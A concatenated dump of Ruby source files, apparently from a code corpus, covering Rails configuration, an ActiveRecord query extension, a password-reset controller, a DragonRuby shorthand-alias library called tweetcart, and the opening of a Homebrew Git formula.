config.example_status_persistence_file_path = ".rspec_status"
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 24.133333 | 66 | 0.751381 |
bfb2c4660e09f7c41256cdefbe5f5edf4f11da5f | 1,377 | require 'everywhere/util'
module ActiveRecord
module ChainRelation
module NotBuilder
include Everywhere::Util
def build_where(opts, other = [])
super.map {|r| negate r}
end
end
module LikeBuilder
def build_where(opts, other = [])
super.map {|r| Arel::Nodes::Matches.new r.left, r.right}
end
end
module NotLikeBuilder
def build_where(opts, other = [])
super.map {|r| Arel::Nodes::DoesNotMatch.new r.left, r.right}
end
end
def not(opts, *rest)
extend(NotBuilder).where(opts, *rest).dup
end
def like(opts, *rest)
extend(LikeBuilder).where(opts, *rest).dup
end
def not_like(opts, *rest)
extend(NotLikeBuilder).where(opts, *rest).dup
end
end
module QueryMethods
if ActiveRecord::VERSION::STRING > '4'
def where_with_not_and_like_and_not_like(opts = nil, *rest)
if opts.nil?
spawn.extend(ChainRelation)
else
where_without_not_and_like_and_not_like(opts, *rest)
end
end
else
def where_with_not_and_like_and_not_like(opts = nil, *rest)
if opts.nil?
clone.extend(ChainRelation)
else
where_without_not_and_like_and_not_like(opts, *rest)
end
end
end
alias_method_chain :where, :not_and_like_and_not_like
end
end
| 23.338983 | 69 | 0.628903 |
ab80acf91ab76a19c650189ad28b4e2952650472 | 148 | require 'rails_helper'
describe Section do
it { belongs_to :chapter }
it { have_many :lessons }
it { should validate_presence_of :name }
end
| 18.5 | 42 | 0.72973 |
d5ed60819b0c906d67c5b1dc3800edea4c221303 | 1,622 | class PasswordResetsController < ApplicationController
before_action :get_user, only: [:edit, :update]
before_action :valid_user, only: [:edit, :update]
before_action :check_expiration, only: [:edit, :update] # (1) への対応
def new
end
def create
@user = User.find_by(email: params[:password_reset][:email].downcase)
if @user
@user.create_reset_digest
@user.send_password_reset_email
flash[:info] = "Email sent with password reset instructions"
redirect_to root_url
else
flash.now[:danger] = "Email address not found"
render 'new'
end
end
def edit
end
def update
if params[:user][:password].empty? # (3) への対応
@user.errors.add(:password, :blank)
render 'edit'
elsif @user.update_attributes(user_params) # (4) への対応
log_in @user
@user.update_attribute(:reset_digest, nil)
flash[:success] = "Password has been reset."
redirect_to @user
else
render 'edit' # (2) への対応
end
end
private
def user_params
params.require(:user).permit(:password, :password_confirmation)
end
def get_user
@user = User.find_by(email: params[:email])
end
# 正しいユーザーかどうか確認する
def valid_user
unless (@user && @user.activated? &&
@user.authenticated?(:reset, params[:id]))
redirect_to root_url
end
end
def check_expiration
if @user.password_reset_expired?
flash[:danger] = "Password reset has expired."
redirect_to new_password_reset_url
end
end
end
| 26.16129 | 73 | 0.623921 |
e20d22be2be0e1dba47082850a70d707ee76300c | 367 | # frozen_string_literal: true
module ActiveStorage::SetBlob #:nodoc:
extend ActiveSupport::Concern
included do
before_action :set_blob
end
private
def set_blob
@blob = ActiveStorage::Blob.find_signed!(params[:signed_blob_id] || params[:signed_id])
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
end
| 21.588235 | 93 | 0.735695 |
d5cc78e2302d571b37cc46eaf89eb251c138c6dc | 28,419 | # coding: utf-8
# MIT License
# tweetcart.rb has been released under MIT (*only this file*).
# Contributors outside of DragonRuby who also hold Copyright:
# - https://github.com/HIRO-R-B
# - https://github.com/oeloeloel
# - https://github.com/leviongit
module GTK
##
# Tweetcart: The main module
module Tweetcart
##
# Tweetcart Modules can extend `Tweetcart::(Include|Extend)`
#
# Provide an included/extended that define aliases (or log if they're missing)
# on a base when the module's mixed
##
##
# `aliases` must be defined on the module
# and return an array of the form
# [ new_method_alias, old_method_name,
# new_method_alias, old_method_name,
# ... ]
module Include
def included(base)
tweetcart_aliases = aliases
base.class_eval do
tweetcart_aliases.each_slice(2) do |new, old|
begin
alias_method new, old
rescue NameError => e
Tweetcart.error_log << "#{e}"
end
end
end
end
end
##
# `singleton_aliases` must be defined on the module
module Extend
def extended(base)
tweetcart_aliases = singleton_aliases
base.singleton_class.class_eval do
tweetcart_aliases.each_slice(2) do |new, old|
begin
alias_method new, old
rescue NameError => e
Tweetcart.error_log << "#{e}"
end
end
end
end
end
##
# Depreciated/Nonexistent methods will get collected here when Tweetcart modules get included
def self.error_log
@error_log ||= []
end
def self.error_log?
!@error_log.nil?
end
##
# Tweetcart entry point
def self.setup args
setup_patches
setup_textures args
end
def self.setup_patches
GTK::Args.include ::GTK::Args::Tweetcart
GTK::Outputs.include ::GTK::Outputs::Tweetcart
GTK::Inputs.include ::GTK::Inputs::Tweetcart
GTK::Keyboard.include ::GTK::Keyboard::Tweetcart
GTK::KeyboardKeys.include ::GTK::KeyboardKeys::Tweetcart
GTK::Mouse.include ::GTK::Mouse::Tweetcart
GTK::Grid.include ::GTK::Grid::Tweetcart
GTK::Geometry.include ::GTK::Geometry::Tweetcart
GTK::Geometry.extend ::GTK::Geometry::Tweetcart
GTK::Primitive::ConversionCapabilities.include ::GTK::Primitive::ConversionCapabilities::Tweetcart
FFI::Draw.include ::GTK::FFIDrawTweetcart
Enumerator.include ::GTK::EnumeratorTweetcart
Enumerable.include ::GTK::EnumerableTweetcart
Array.include ::GTK::ArrayTweetcart
Hash.include ::GTK::HashTweetcart
Numeric.include ::GTK::NumericTweetcart
Integral.include ::GTK::IntegralTweetcart
Fixnum.include ::GTK::FixnumTweetcart
Symbol.include ::GTK::SymbolTweetcart
Module.include ::GTK::ModuleTweetcart
Object.include ::GTK::ObjectTweetcart
$top_level.include ::GTK::MainTweetcart
end
def self.setup_textures args
# setup :p 1 pixel texture
args.outputs[:p].w = 1
args.outputs[:p].h = 1
args.outputs[:p].solids << { x: 0, y: 0, w: 1, h: 1, r: 255, g: 255, b: 255 }
# setup :c 720 diameter circle
r = 360
d = r * 2
args.outputs[:c].w = d
args.outputs[:c].h = d
d.times do |i|
h = i - r
l = Math.sqrt(r * r - h * h)
args.outputs[:c].lines << { x: i, y: r - l, x2: i, y2: r + l, r: 255, g: 255, b: 255 }
end
# setup :t, an equilateral triangle with 720 px sides
m = Math.sqrt(3) / 2
b = 720
h = m * b
v1 = [ 0, 0]
v2 = [720, 0]
v3 = [360, h]
is1 = (v3.x - v1.x) / (v3.y - v1.y)
is2 = (v3.x - v2.x) / (v3.y - v2.y)
x1 = x2 = v3.x
args.outputs[:t].w = b
args.outputs[:t].h = h
args.outputs[:t].lines << v3.y.downto(v1.y).map do |y|
line = [x1, y, x2, y, 255, 255, 255]
x1 -= is1
x2 -= is2
line
end
# setup :tr, an isosceles right triangle
v3 = [ 0, b]
is1 = (v3.x - v1.x) / (v3.y - v1.y)
is2 = (v3.x - v2.x) / (v3.y - v2.y)
x1 = x2 = v3.x
args.outputs[:tr].w = b
args.outputs[:tr].h = b
args.outputs[:tr].lines << v3.y.downto(v1.y).map do |y|
line = [x1, y, x2, y, 255, 255, 255]
x1 -= is1
x2 -= is2
line
end
end
end
module MainTweetcart
include Math
F = 255
G = 127
W = $args.grid.w
H = $args.grid.h
N = [nil]
Z = [0]
S30 = 30.sin
S60 = 60.sin
##
# Provides methods to define classes in a shorter manner
module P
def self.do *attrs, &block
Class.new do
attr_accessor *attrs
##
# NOTE: Yea, this class might not be a sprite,
# but you can't push instances into primitives without a valid primitive marker
# even if you have draw_override defined
# So... ehh, for all intents and purposes, it's a "sprite"
def primitive_marker
:sprite
end
def initialize **opts
opts.each { |k, v| send :"#{k}=", v }
end
define_method :draw_override, &block
end
end
def self.so *attrs, &block
self.do(:x, :y, :w, :h, :r, :g, :b, :a, *attrs, &block)
end
def self.sp *attrs, &block
self.do(:x, :y, :w, :h, :p, :an, :a,
:r, :g, :b,
:tx, :ty, :tw, :th,
:fh, :fv,
:aax, :aay,
:sx, :sy, :sw, :sh,
*attrs, &block)
end
def self.la *attrs, &block
self.do(:x, :y, :t, :sen, :aen, :r, :g, :b, :a, :f, *attrs, &block)
end
def self.li *attrs, &block
self.do(:x, :y, :x2, :y2, :r, :g, :b, :a, *attrs, &block)
end
def self.bo *attrs, &block
self.so(*attrs, &block)
end
def self.dso *attrs, &draw_call
Class.new do
attr_accessor :x, :y, :w, :h, :r, :g, :b, :a
attr_accessor *attrs
def primitive_marker
:solid
end
def initialize x=nil, y=nil, w=nil, h=nil, r=nil, g=nil, b=nil, a=nil, **opts
@x = x
@y = y
@w = w
@h = h
@r = r
@g = g
@b = b
@a = a
opts.each { |k, v| send :"#{k}=", v }
end
define_method :draw_call, &draw_call
def draw_override(ffi)
draw_call
ffi.draw_solid(@x, @y, @w, @h, @r, @g, @b, @a)
end
end
end
def self.dsp path=nil, *attrs, &draw_call
path &&= path.to_s
Class.new do
attr_accessor :x, :y, :w, :h, :p, :an, :a,
:r, :g, :b,
:tx, :ty, :tw, :th,
:fh, :fv,
:aax, :aay,
:sx, :sy, :sw, :sh
attr_accessor *attrs
def primitive_marker
:sprite
end
# Yea this is long... sorry
define_method :initialize do |x=nil, y=nil, w=nil, h=nil, p=path, an=nil, a=nil, r=nil, g=nil, b=nil, tx=nil, ty=nil, tw=nil, th=nil, fh=nil, fv=nil, aax=nil, aay=nil, sx=nil, sy=nil, sw=nil, sh=nil, **opts|
@x = x
@y = y
@w = w
@h = h
@p = p
@an = an
@a = a
@r = r
@g = g
@b = b
@tx = tx
@ty = ty
@tw = tw
@th = th
@fh = fh
@fv = fv
@aax = aax
@aay = aay
@sx = sx
@sy = sy
@sw = sw
@sh = sh
opts.each { |k, v| send :"#{k}=", v }
end
define_method :draw_call, &draw_call
def draw_override(ffi)
draw_call
ffi.draw_sprite_3(@x, @y, @w, @h, @p, @an, @a,
@r, @g, @b,
@tx, @ty, @tw, @th,
@fh, @fv,
@aax, @aay,
@sx, @sy, @sw, @sh)
end
end
end
def self.dla *attrs, &draw_call
Class.new do
attr_accessor :x, :y, :t, :sen, :aen, :r, :g, :b, :a, :f
attr_accessor *attrs
def primitive_marker
:label
end
def initialize x=nil, y=nil, t=nil, sen=nil, aen=nil, r=nil, g=nil, b=nil, a=nil, f=nil, **opts
@x = x
@y = y
@t = t
@sen = sen
@aen = aen
@r = r
@g = g
@b = b
@a = a
@f = f
opts.each { |k, v| send :"#{k}=", v }
end
define_method :draw_call, &draw_call
def draw_override(ffi)
draw_call
ffi.draw_label(@x, @y, @t, @sen, @aen, @r, @g, @b, @a, @f)
end
end
end
def self.dli *attrs, &draw_call
Class.new do
attr_accessor :x, :y, :x2, :y2, :r, :g, :b, :a
attr_accessor *attrs
def primitive_marker
:line
end
def initialize x=nil, y=nil, x2=nil, y2=nil, r=nil, g=nil, b=nil, a=nil, **opts
@x = x
@y = y
@x2 = x2
@y2 = y2
@r = r
@g = g
@b = b
@a = a
opts.each { |k, v| send :"#{k}=", v }
end
define_method :draw_call, &draw_call
def draw_override(ffi)
draw_call
ffi.draw_line(@x, @y, @x2, @y2, @r, @g, @b, @a)
end
end
end
def self.dbo *attrs, &draw_call
Class.new do
attr_accessor :x, :y, :w, :h, :r, :g, :b, :a
attr_accessor *attrs
def primitive_marker
:border
end
def initialize x=nil, y=nil, w=nil, h=nil, r=nil, g=nil, b=nil, a=nil, **opts
@x = x
@y = y
@w = w
@h = h
@r = r
@g = g
@b = b
@a = a
opts.each { |k, v| send :"#{k}=", v }
end
define_method :draw_call, &draw_call
def draw_override(ffi)
draw_call
ffi.draw_border(@x, @y, @w, @h, @r, @g, @b, @a)
end
end
end
end
##
# General circle centered at x and y
def CI(x, y, radius, r=0, g=0, b=0, a=255)
[(2*radius).to_square(x, y), :c, 0, a, r, g, b].sprite
end
##
# Equilateral triangle centered at x and y
def TR(x, y, side_length, angle=0, r=0, g=0, b=0, a=255)
height = side_length * S60
{ x: x - side_length / 2,
y: y - height / 3,
w: side_length,
h: height,
path: :t, angle: angle,
a: a, r: r, g: g, b: b,
angle_anchor_y: 0.333 }
end
##
# Closed polygon
def PLY(points, r=nil, g=nil, b=nil, a=nil)
ply = PLYP(points, r, g, b, a)
l1 = ply[0]
l2 = ply[-1]
ply << [l1[0], l2[1], r, g, b, a]
end
##
# Poly path (array of connected lines)
def PLYP(points, r=nil, g=nil, b=nil, a=nil)
points.flatten.each_slice(2).each_cons(2).map { |p1, p2| [p1, p2, r, g, b, a] }
end
##
# Alias for calcstringbox
def csb(string, size_enum=nil, font='font.ttf')
$gtk.calcstringbox(string, size_enum, font)
end
##
# Quick sum option
def sum(*args)
$args.fn.+(*args)
end
def self.aliases
[
:csb, 'args.gtk.calcstringbox',
:sum, 'args.fn.+',
]
end
end
module Args::Tweetcart
##
# Viewport
def vp(x, y, w, h, r = 0, g = 0, b = 0)
self.outputs.primitives << [
{x: 0, y: 0, w: x, h: self.grid.h, r: r, g: g, b: b}.solid,
{x: 0, y: 0, w: self.grid.w, h: y, r: r, g: g, b: b}.solid,
{x: x + w, y: 0, w: self.grid.w - x, h: self.grid.h, r: r, g: g, b: b}.solid,
{x: 0, y: y + h, w: self.grid.w, h: self.grid.h - y, r: r, g: g, b: b}.solid
]
end
def self.aliases
[
:t, 'tick_count',
:s, 'state',
:i, 'inputs',
:it, 'inputs.text',
:k, 'inputs.keyboard',
:l, 'inputs.left',
:r, 'inputs.right',
:u, 'inputs.up',
:d, 'inputs.down',
:kd, 'inputs.keyboard.key_down',
:kh, 'inputs.keyboard.key_held',
:ku, 'inputs.keyboard.key_up',
:m, 'inputs.mouse',
:mx, 'inputs.mouse.x',
:my, 'inputs.mouse.y',
:mc, 'inputs.mouse.click',
:mw, 'inputs.mouse.wheel',
:ml, 'inputs.mouse.button_left',
:mm, 'inputs.mouse.button_middle',
:mr, 'inputs.mouse.button_right',
:o, 'outputs',
:bc=, 'outputs.background_color=',
:so, 'outputs.solids',
:_so, 'outputs.static_solids',
:sp, 'outputs.sprites',
:_sp, 'outputs.static_sprites',
:pr, 'outputs.primitives',
:_pr, 'outputs.static_primitives',
:la, 'outputs.labels',
:_la, 'outputs.static_labels',
:li, 'outputs.lines',
:_li, 'outputs.static_lines',
:bo, 'outputs.borders',
:_bo, 'outputs.static_borders',
:p, 'outputs.p', # Persistent Outputs
:pc, 'outputs.pc', # Persistent Outputs clear
:g, 'grid',
:gre, 'grid.rect',
:w, 'grid.w',
:h, 'grid.h'
]
end
aliases.each_slice(2) do |m, ref|
next instance_eval "define_method(:#{m}) { |arg| #{ref} arg }" if m.include?('=')
instance_eval "define_method(:#{m}) { #{ref} }"
end
end
module Outputs::Tweetcart
extend Tweetcart::Include
##
# Persistent Outputs
def p
if @persistence_initialized
if !@buffer_swap.new? # Swap buffers if haven't done so
@buffer_a, @buffer_b = @buffer_b, @buffer_a
@buffer[:path] = @buffer_b
self[@buffer_a].sprites << @buffer
self.sprites << @buffer
@buffer_swap = Kernel.tick_count
end
else
@buffer_a = :persistent_buffer_a
@buffer_b = :persistent_buffer_b
self[@buffer_a]
self[@buffer_b]
@buffer = { w: 1280, h: 720 }.sprite
@buffer_swap = Kernel.tick_count
@persistence_initialized = true
end
self[@buffer_a]
end
##
# Persistent Outputs Clear
def pc
self[@buffer_a]
self[@buffer_b]
nil
end
def self.aliases
[
:so, :solids,
:sp, :sprites,
:pr, :primitives,
:la, :labels,
:li, :lines,
:bo, :borders,
:de, :debug,
:_so, :static_solids,
:_sp, :static_sprites,
:_pr, :static_primitives,
:_la, :static_labels,
:_li, :static_lines,
:_bo, :static_borders,
:_de, :static_debug,
:bc=, :background_color=
]
end
end
module Inputs::Tweetcart
extend Tweetcart::Include
def self.aliases
[
:u, :up,
:d, :down,
:l, :left,
:r, :right,
:lr, :left_right,
:ud, :up_down,
:dv, :directional_vector,
:t, :text,
:m, :mouse,
:c, :click,
:c1, :controller_one,
:c2, :controller_two,
:k, :keyboard
]
end
end
module Keyboard::Tweetcart
extend Tweetcart::Include
def self.aliases
[
:ku, :key_up,
:kd, :key_down,
:kh, :key_held,
:hf, :has_focus,
:l, :left,
:u, :up,
:r, :right,
:d, :down,
:k, :key
]
end
end
module KeyboardKeys::Tweetcart
extend Tweetcart::Include
def self.aliases
[
:lr, :left_right,
:ud, :up_down,
:tk, :truthy_keys,
]
end
end
module Mouse::Tweetcart
extend Tweetcart::Include
def self.aliases
[
:p, :point,
:inr?, :inside_rect?,
:ic?, :inside_circle?,
:ir?, :intersect_rect?,
:c, :click,
:pc, :previous_click,
:m, :moved,
:ma, :moved_at,
:gma, :global_moved_at,
:u, :up,
:d, :down,
:b, :button_bits,
:l, :button_left,
:m, :button_middle,
:r, :button_right,
:x1, :button_x1,
:x2, :button_x2,
:w, :wheel,
:hf, :has_focus
]
end
end
module Grid::Tweetcart
extend Tweetcart::Include
def self.aliases
[
:n, :name,
:b, :bottom,
:t, :top,
:l, :left,
:r, :right,
:re, :rect,
:obl!, :origin_bottom_left!,
:oc!, :origin_center!
]
end
end
module Geometry::Tweetcart
extend Tweetcart::Include
extend Tweetcart::Extend
def self.aliases
[
:inr?, :inside_rect?,
:ir?, :intersect_rect?,
:sr, :scale_rect,
:ant, :angle_to,
:anf, :angle_from,
:pic?, :point_inside_circle?,
:cir, :center_inside_rect,
:cirx, :center_inside_rect_x,
:ciry, :center_inside_rect_y,
:ar, :anchor_rect
]
end
# NOTE:: `anchor_rect` doesn't exist on the Geometry Class, I assume that'll be added in the future?
def self.singleton_aliases
aliases + [
:sl, :shift_line,
:lyi, :line_y_intercept,
:abl, :angle_between_lines,
:ls, :line_slope,
:lrr, :line_rise_run,
:rt, :ray_test,
:lr, :line_rect,
:li, :line_intersect,
:d, :distance,
:cb, :cubic_bezier
]
end
end
module Primitive::ConversionCapabilities::Tweetcart
extend Tweetcart::Include
def self.aliases
[
:so, :solid,
:sp, :sprite,
:la, :label,
:li, :line,
:bo, :border
]
end
end
module FFIDrawTweetcart
def dso(x, y, w, h, r=nil, g=nil, b=nil, a=nil)
draw_solid(x, y, w, h, r, g, b, a)
end
def dsp(x, y, w, h, path, angle=nil, a=nil,
r=nil, g=nil, b=nil,
tile_x=nil, tile_y=nil, tile_w=nil, tile_h=nil,
flip_horizontally=nil, flip_vertically=nil,
angle_anchor_x=nil, angle_anchor_y=nil,
source_x=nil, source_y=nil, source_w=nil, source_h=nil)
draw_sprite_3(x, y, w, h, path,
angle,
a, r, g, b,
tile_x, tile_y, tile_w, tile_h,
flip_horizontally, flip_vertically,
angle_anchor_x, angle_anchor_y,
source_x, source_y, source_w, source_h)
end
def dla(x, y, text, size_enum=nil, alignment_enum=nil, r=nil, g=nil, b=nil, a=nil, font=nil)
draw_label(x, y, text, size_enum, alignment_enum, r, g, b, a, font)
end
def dli(x, y, x2, y2, r=nil, g=nil, b=nil, a=nil)
draw_line(x, y, x2, y2, r, g, b, a)
end
def dbo(x, y, w, h, r=nil, g=nil, b=nil, a=nil)
draw_border(x, y, w, h, r, g, b, a)
end
end
module EnumeratorTweetcart
extend Tweetcart::Include
def self.aliases
[
:e, :each,
:ei, :each_with_index
]
end
end
module EnumerableTweetcart
extend Tweetcart::Include
def self.aliases
[
:cy, :cycle,
:dw, :drop_while,
:ec, :each_cons,
:es, :each_slice,
:ewi, :each_with_index,
:ewo, :each_with_object,
:en, :entries,
:fa, :find_all,
:fi, :find_index,
:f, :first,
:fm, :flat_map,
:gb, :group_by,
:i?, :include?,
:m, :map,
:m?, :member?,
:mx, :max,
:mxb, :max_by,
:mn, :min,
:mnb, :min_by,
:mm, :minmax,
:mmb, :minmax_by,
:n?, :none?,
:o?, :one?,
:pa, :partition,
:rd, :reduce,
:rj, :reject,
:rve, :reverse_each,
:se, :select,
:stb, :sort_by,
:tw, :take_while
]
end
end
module ArrayTweetcart
extend Tweetcart::Include
def self.aliases
[
:an, :angle,
:an=, :angle=,
:ant, :angle_to,
:anf, :angle_from,
:agp, :angle_given_point,
:air?, :any_intersect_rect?,
:ap, :append,
:cir, :center_inside_rect,
:c, :clear,
:cl, :clone,
:co, :combination,
:cp, :compact,
:cp!, :compact!,
:d, :delete,
:da, :delete_at,
:di, :delete_if,
:e, :each,
:ei, :each_index,
:e?, :empty?,
:fe, :fetch,
:fl, :flatten,
:fl!, :flatten!,
:ir?, :intersect_rect?,
:j, :join,
:ki, :keep_if,
:l, :length,
:m!, :map!,
:mwi, :map_with_index,
:pe, :permutation,
:p, :point,
:pr, :product,
:re, :rect,
:rs, :rect_shift,
:rj!, :reject!,
:rjf, :reject_false,
:rjy, :reject_falsey,
:rjn, :reject_nil,
:rp, :replace,
:rv, :reverse,
:rv!, :reverse!,
:ro, :rotate,
:ro!, :rotate!,
:sa, :sample,
:sr, :scale_rect,
:sre, :scale_rect_extended,
:se!, :select!,
:st, :shift,
:str, :shift_rect,
:sh, :shuffle,
:sh!, :shuffle!,
:sl, :slice,
:sl!, :slice!,
:s, :sort,
:s!, :sort!,
:tr, :transpose,
:ust, :unshift,
:va, :values_at
]
end
end
module HashTweetcart
extend Tweetcart::Include
def self.aliases
[
:so, :solid,
:sp, :sprite,
:la, :label,
:li, :line,
:bo, :border,
:sen, :size_enum,
:sen=, :size_enum=,
:aen, :alignment_enum,
:aen=, :alignment_enum=,
:an, :angle,
:an=, :angle=,
:aax, :angle_anchor_x,
:aax=, :angle_anchor_x=,
:aay, :angle_anchor_y,
:aay=, :angle_anchor_y=,
:agp, :angle_given_point,
:fh, :flip_horizontally,
:fh=, :flip_horizontally=,
:fv, :flip_vertically,
:fv=, :flip_vertically=,
:sx, :source_x,
:sx=, :source_x=,
:sy, :source_y,
:sy=, :source_y=,
:sw, :source_w,
:sw=, :source_w=,
:sh, :source_h,
:sh=, :source_h=,
:c, :clear,
:cl, :clone,
:co, :compact,
:co!, :compact!,
:df, :default,
:df=, :default=,
:dp, :default_proc,
:dp=, :default_proc=,
:d, :delete,
:di, :delete_if,
:dt, :detect,
:e, :each,
:e?, :empty?,
:ev, :each_value,
:fe, :fetch,
:fev, :fetch_values,
:fl, :flatten,
:hk?, :has_key?,
:hv?, :has_value?,
:ki, :keep_if,
:l, :length,
:me, :merge,
:me!, :merge!,
:rj!, :reject!,
:rp, :replace,
:sre, :scale_rect_extended,
:se!, :select!,
:st, :shift,
:str, :shift_rect,
:sl, :slice,
:s, :sort
]
end
end
module NumericTweetcart
extend Tweetcart::Include
def r
rand_ratio.to_i
end
def i
to_i
end
def fl
floor
end
def ce
ceil
end
def rn
round
end
def dm(x)
divmod(x)
end
def sin
Math.sin(self.to_radians)
end
def cos
Math.cos(self.to_radians)
end
def self.aliases
[
:a, :abs,
:s, :seconds,
:h, :half,
:tb, :to_byte,
:cl, :clamp,
:cw, :clamp_wrap,
:et, :elapsed_time,
:etp, :elapsed_time_percent,
:n?, :new?,
:e?, :elapsed?,
:fi, :frame_index,
:z?, :zero?,
:rs, :rand_sign,
:rr, :rand_ratio,
:rd, :remainder_of_divide,
:ea, :ease,
:ee, :ease_extended,
:ge, :global_ease,
:ese, :ease_spline_extended,
:es, :ease_spline,
:tr, :to_radians,
:td, :to_degrees,
:ts, :to_square,
:v, :vector,
:vy, :vector_y,
:vx, :vector_x,
:xv, :x_vector,
:yv, :y_vector,
:mz?, :mod_zero?,
:zm?, :zmod?,
:fd, :fdiv,
:d, :idiv,
:to, :towards,
:mwy, :map_with_ys,
:co, :combinations,
:c, :cap,
:cmm, :cap_min_max,
:n, :numbers,
:m, :map,
:e, :each,
:fr, :from_right,
:ft, :from_top
]
end
end
module IntegralTweetcart
extend Tweetcart::Include
def self.aliases
[
:dt, :downto,
:ne?, :negative?,
:nb?, :nobits?,
:nz?, :nonzero?,
:po?, :positive?,
:st, :step,
:sc, :succ,
:ut, :upto,
:z?, :zero?
]
end
end
module FixnumTweetcart
extend Tweetcart::Include
def self.aliases
[
:t, :times,
:ev?, :even?,
:od?, :odd?
]
end
end
module SymbolTweetcart
def so
$args.outputs[self].solids
end
def sp
$args.outputs[self].sprites
end
def pr
$args.outputs[self].primitives
end
def la
$args.outputs[self].labels
end
def li
$args.outputs[self].lines
end
def bo
$args.outputs[self].borders
end
def de
$args.outputs[self].debug
end
def [] *args, &block
-> caller, *rest { caller.send self, *rest, *args, &block }
end
end
module ModuleTweetcart
extend Tweetcart::Include
def self.aliases
[
:dm, :define_method
]
end
end
module ObjectTweetcart
extend Tweetcart::Include
def SO! *opts
$args.outputs.solids << opts
end
def SP! *opts
$args.outputs.sprites << opts
end
def PR! *opts
$args.outputs.primitives << opts
end
def LA! *opts
$args.outputs.labels << opts
end
def LI! *opts
$args.outputs.lines << opts
end
def BO! *opts
$args.outputs.borders << opts
end
def _SO! *opts
$args.outputs.static_solids << opts
end
def _SP! *opts
$args.outputs.static_sprites << opts
end
def _PR! *opts
$args.outputs.static_primitives << opts
end
def _LA! *opts
$args.outputs.static_labels << opts
end
def _LI! *opts
$args.outputs.static_labels << opts
end
def _BO! *opts
$args.outputs.static_borders << opts
end
def PSO! *opts
$args.outputs.p.solids << opts
end
def PSP! *opts
$args.outputs.p.sprites << opts
end
def PPR! *opts
$args.outputs.p.primitives << opts
end
def PLA! *opts
$args.outputs.p.labels << opts
end
def PLI! *opts
$args.outputs.p.lines << opts
end
def PBO! *opts
$args.outputs.p.borders << opts
end
def PC!
$args.outputs.pc
end
def self.aliases
[
:dsm, :define_singleton_method
]
end
end
end
| 23.801508 | 217 | 0.46015 |
03c864cef382c065d72060e1af1c9240b7f5d710 | 5,709 | require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress CSS using a preprocessor.
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Include generic and useful information about system operation, but avoid logging too much
# information to avoid inadvertent exposure of personally identifiable information (PII).
config.log_level = :info
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# On Heroku, memcached must be used; sadly, memcache does not support fragment expiry by regexp
# See https://devcenter.heroku.com/articles/memcachedcloud#using-memcached-from-ruby
config.cache_store = :mem_cache_store, ENV["MEMCACHIER_SERVERS"].split(','), {
username: ENV["MEMCACHIER_USERNAME"],
password: ENV["MEMCACHIER_PASSWORD"],
expires_in: 2.weeks,
compress: true,
}
# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "badi2010_production"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = [I18n.default_locale]
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Log disallowed deprecations.
config.active_support.disallowed_deprecation = :log
# Tell Active Support which deprecation messages to disallow.
config.active_support.disallowed_deprecation_warnings = []
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require "syslog/logger"
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Inserts middleware to perform automatic connection switching.
# The `database_selector` hash is used to pass options to the DatabaseSelector
# middleware. The `delay` is used to determine how long to wait after a write
# to send a subsequent read to the primary.
#
# The `database_resolver` class is used by the middleware to determine which
# database is appropriate to use based on the time delay.
#
# The `database_resolver_context` class is used by the middleware to set
# timestamps for the last write to the primary. The resolver uses the context
# class timestamps to determine how long to wait before reading from the
# replica.
#
# By default Rails will store a last write timestamp in the session. The
# DatabaseSelector middleware is designed as such you can define your own
# strategy for connection switching and pass that into the middleware through
# these configuration options.
# config.active_record.database_selector = { delay: 2.seconds }
# config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
# config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end
| 44.601563 | 114 | 0.763181 |
b998c2ef7b3f002826ece32bfaab7a82d44c826d | 5,104 | require 'formula'
class Git < Formula
homepage "http://git-scm.com"
url "https://www.kernel.org/pub/software/scm/git/git-2.0.1.tar.gz"
sha1 "b51a95588249aa71501a01273671f32ea99c392c"
head "https://github.com/git/git.git", :shallow => false
bottle do
sha1 "6796bef3d6692035a5e4daf1b76c3adc9f32c435" => :mavericks
